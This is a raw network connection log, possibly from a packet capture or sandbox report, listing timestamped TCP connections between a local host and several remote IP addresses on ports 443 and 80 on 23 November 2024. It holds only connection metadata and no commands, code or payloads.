Nov 23, 2024 19:52:41.618633032 CET	443	49807	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:41.618809938 CET	49807	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:41.651355028 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:41.656652927 CET	49807	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:41.656673908 CET	443	49807	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:41.656704903 CET	49807	443	192.168.2.6	2.18.109.164
Nov 23, 2024 19:52:41.656718969 CET	443	49807	2.18.109.164	192.168.2.6
Nov 23, 2024 19:52:41.657229900 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:41.657272100 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:41.657778025 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:41.657790899 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:41.924592018 CET	443	49805	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:41.924668074 CET	443	49805	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:41.924817085 CET	49805	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.172454119 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.172525883 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.172837019 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.339723110 CET	49805	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.339756012 CET	443	49805	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.339767933 CET	49805	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.339775085 CET	443	49805	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.358089924 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.358122110 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.358140945 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.358160019 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.358169079 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.361474991 CET	49808	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.361507893 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.362241030 CET	49808	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.362246990 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.698268890 CET	49811	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.698309898 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.698374987 CET	49811	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.723301888 CET	49811	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.723329067 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.726457119 CET	49812	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.726495981 CET	443	49812	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.726571083 CET	49812	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.726928949 CET	49812	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.726939917 CET	443	49812	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.816534042 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.816616058 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.816673994 CET	49808	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.881768942 CET	49808	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.881822109 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.881844997 CET	49808	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.881854057 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.908674002 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.919229031 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.956398964 CET	49809	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.978339911 CET	49809	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.978358984 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.978878975 CET	49809	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.978883982 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.979554892 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.979588032 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:42.980113983 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:42.980119944 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:43.421381950 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:43.421449900 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:43.421498060 CET	49809	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:43.421565056 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:43.421629906 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:43.421675920 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:43.576731920 CET	49809	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:43.576771975 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:43.576795101 CET	49809	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:43.576803923 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:43.578111887 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:43.578111887 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:43.578149080 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:43.578169107 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:43.599911928 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:43.599951982 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:43.600076914 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:43.664637089 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:43.664689064 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:43.664750099 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:43.675996065 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:43.676033974 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:43.709779978 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:43.709820032 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:43.713476896 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:43.713511944 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:43.713654041 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:43.714164019 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:43.714176893 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:44.282798052 CET	49712	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:44.282877922 CET	49712	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:44.408586979 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:44.408622980 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:44.427053928 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:44.427083015 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:44.427583933 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:44.511857986 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:44.621645927 CET	49811	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:44.675964117 CET	443	49812	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:44.706562996 CET	49811	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:44.706597090 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:44.707134962 CET	49811	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:44.707142115 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:44.734287024 CET	49812	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:44.734308004 CET	443	49812	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:44.735137939 CET	49812	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:44.735146999 CET	443	49812	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:44.948885918 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:44.948995113 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:44.949095964 CET	49712	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:44.953100920 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:44.953181982 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:44.953243017 CET	49712	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:44.961534023 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:44.961613894 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:44.961690903 CET	49712	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:44.969938993 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:44.970077038 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:44.970151901 CET	49712	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:44.978367090 CET	443	49712	40.126.53.17	192.168.2.6
Nov 23, 2024 19:52:45.033638000 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.033720970 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.033777952 CET	49811	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.119796991 CET	443	49812	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.119885921 CET	443	49812	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.120048046 CET	49812	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.135663986 CET	49712	443	192.168.2.6	40.126.53.17
Nov 23, 2024 19:52:45.277517080 CET	49822	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:45.277558088 CET	443	49822	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:45.277757883 CET	49822	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:45.278537989 CET	49823	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:45.278589964 CET	443	49823	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:45.278644085 CET	49823	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:45.392445087 CET	49811	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.392478943 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.392498016 CET	49811	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.392508030 CET	443	49811	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.393402100 CET	49812	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.393436909 CET	443	49812	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.396054983 CET	49823	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:45.396081924 CET	443	49823	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:45.396190882 CET	49822	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:45.396212101 CET	443	49822	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:45.437879086 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.469858885 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.469898939 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.470407963 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.470416069 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.476468086 CET	49824	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.476519108 CET	443	49824	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.476589918 CET	49824	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.476747036 CET	49824	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.476759911 CET	443	49824	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.495661020 CET	80	49800	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:45.495750904 CET	49800	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:45.501035929 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.507169962 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.507198095 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.507944107 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.507953882 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.509419918 CET	49825	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.509459972 CET	443	49825	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.509524107 CET	49825	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.509665966 CET	49825	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.509684086 CET	443	49825	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.583837032 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.639168024 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.680845022 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.680866003 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.681396008 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.681406021 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.897200108 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.897274017 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.897322893 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.899655104 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.899671078 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.899684906 CET	49814	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.899688959 CET	443	49814	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.948273897 CET	49827	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.948333025 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.948395967 CET	49827	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.950181961 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.950263977 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.950335979 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.954473019 CET	49827	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.954504013 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.955629110 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.955665112 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.955673933 CET	49813	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.955679893 CET	443	49813	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.970050097 CET	49829	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.970108032 CET	443	49829	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.970182896 CET	49829	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.971040964 CET	49829	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:45.971059084 CET	443	49829	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:45.993737936 CET	49800	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:45.994605064 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:46.063358068 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:46.063438892 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:46.063554049 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:46.064501047 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:46.064527988 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:46.064536095 CET	49815	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:46.064547062 CET	443	49815	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:46.069427013 CET	49832	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:46.069482088 CET	443	49832	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:46.069555044 CET	49832	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:46.070583105 CET	49832	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:46.070600033 CET	443	49832	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:46.119273901 CET	80	49800	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:46.119616032 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:46.120553970 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:46.128710985 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:46.254448891 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:47.183541059 CET	443	49823	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:47.185748100 CET	49823	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:47.185765028 CET	443	49823	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:47.186752081 CET	443	49822	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:47.186929941 CET	443	49823	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:47.187001944 CET	49823	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:47.236736059 CET	49822	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:47.250238895 CET	49822	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:47.250247955 CET	443	49822	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:47.250495911 CET	49823	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:47.250674963 CET	443	49823	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:47.251267910 CET	443	49822	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:47.251347065 CET	49822	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:47.251766920 CET	49823	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:47.251780987 CET	443	49823	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:47.256576061 CET	49822	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:47.256658077 CET	443	49822	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:47.274748087 CET	443	49825	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:47.280657053 CET	49825	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:47.280682087 CET	443	49825	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:47.281327963 CET	49825	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:47.281337976 CET	443	49825	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:47.290302038 CET	443	49824	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:47.298724890 CET	49824	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:47.298759937 CET	443	49824	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:47.299587965 CET	49824	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:47.299595118 CET	443	49824	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:47.310744047 CET	49823	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:47.337825060 CET	49822	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:47.337842941 CET	443	49822	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:47.438024998 CET	49822	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:47.659661055 CET	443	49829	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:47.718609095 CET	49829	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:47.725107908 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:47.725161076 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:47.725217104 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:47.849117041 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:47.858050108 CET	443	49823	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:47.858135939 CET	443	49823	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:47.858186960 CET	49823	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:47.871064901 CET	443	49825	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:47.871141911 CET	443	49825	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:47.871248007 CET	49825	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:47.880855083 CET	443	49824	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:47.880928040 CET	443	49824	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:47.881031036 CET	49824	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:47.948856115 CET	49827	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:47.981394053 CET	443	49832	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.021205902 CET	49832	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.021238089 CET	443	49832	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.021776915 CET	49832	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.021785975 CET	443	49832	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.022156954 CET	49829	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.022177935 CET	443	49829	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.022717953 CET	49829	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.022722006 CET	443	49829	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.022912025 CET	49824	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.022942066 CET	443	49824	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.022955894 CET	49824	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.022962093 CET	443	49824	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.035309076 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:48.035381079 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:48.051537991 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:48.051568985 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:48.055306911 CET	49827	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.055320978 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.056272030 CET	49827	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.056277990 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.065500021 CET	49825	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.065509081 CET	443	49825	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.065521955 CET	49825	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.065527916 CET	443	49825	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.067564011 CET	49823	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:48.067579031 CET	443	49823	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:48.239335060 CET	49839	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.239381075 CET	443	49839	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.239650011 CET	49839	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.241441965 CET	49840	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.241472006 CET	443	49840	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.241527081 CET	49840	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.253212929 CET	49839	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.253226995 CET	443	49839	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.253539085 CET	49840	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.253563881 CET	443	49840	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.352478027 CET	443	49829	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.352556944 CET	443	49829	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.352639914 CET	49829	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.372968912 CET	49829	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.372991085 CET	443	49829	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.380191088 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.380268097 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.380323887 CET	49827	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.382280111 CET	49844	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.382322073 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.382514954 CET	49844	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.387327909 CET	49827	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.387348890 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.387362003 CET	49827	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.387367964 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.388576984 CET	49844	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.388596058 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.392199039 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.392235994 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.392294884 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.392870903 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.392884016 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.438987970 CET	443	49832	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.439054966 CET	443	49832	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.439143896 CET	49832	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.442536116 CET	49832	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.442552090 CET	443	49832	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.442567110 CET	49832	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.442572117 CET	443	49832	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.443882942 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:48.447432995 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.447454929 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.447562933 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.447817087 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:48.447834015 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:48.590985060 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:48.969047070 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 19:52:48.969088078 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 19:52:48.969269037 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 19:52:48.969605923 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 19:52:48.969619036 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 19:52:49.009361029 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:49.009413958 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:49.009473085 CET	49852	443	192.168.2.6	162.159.61.3
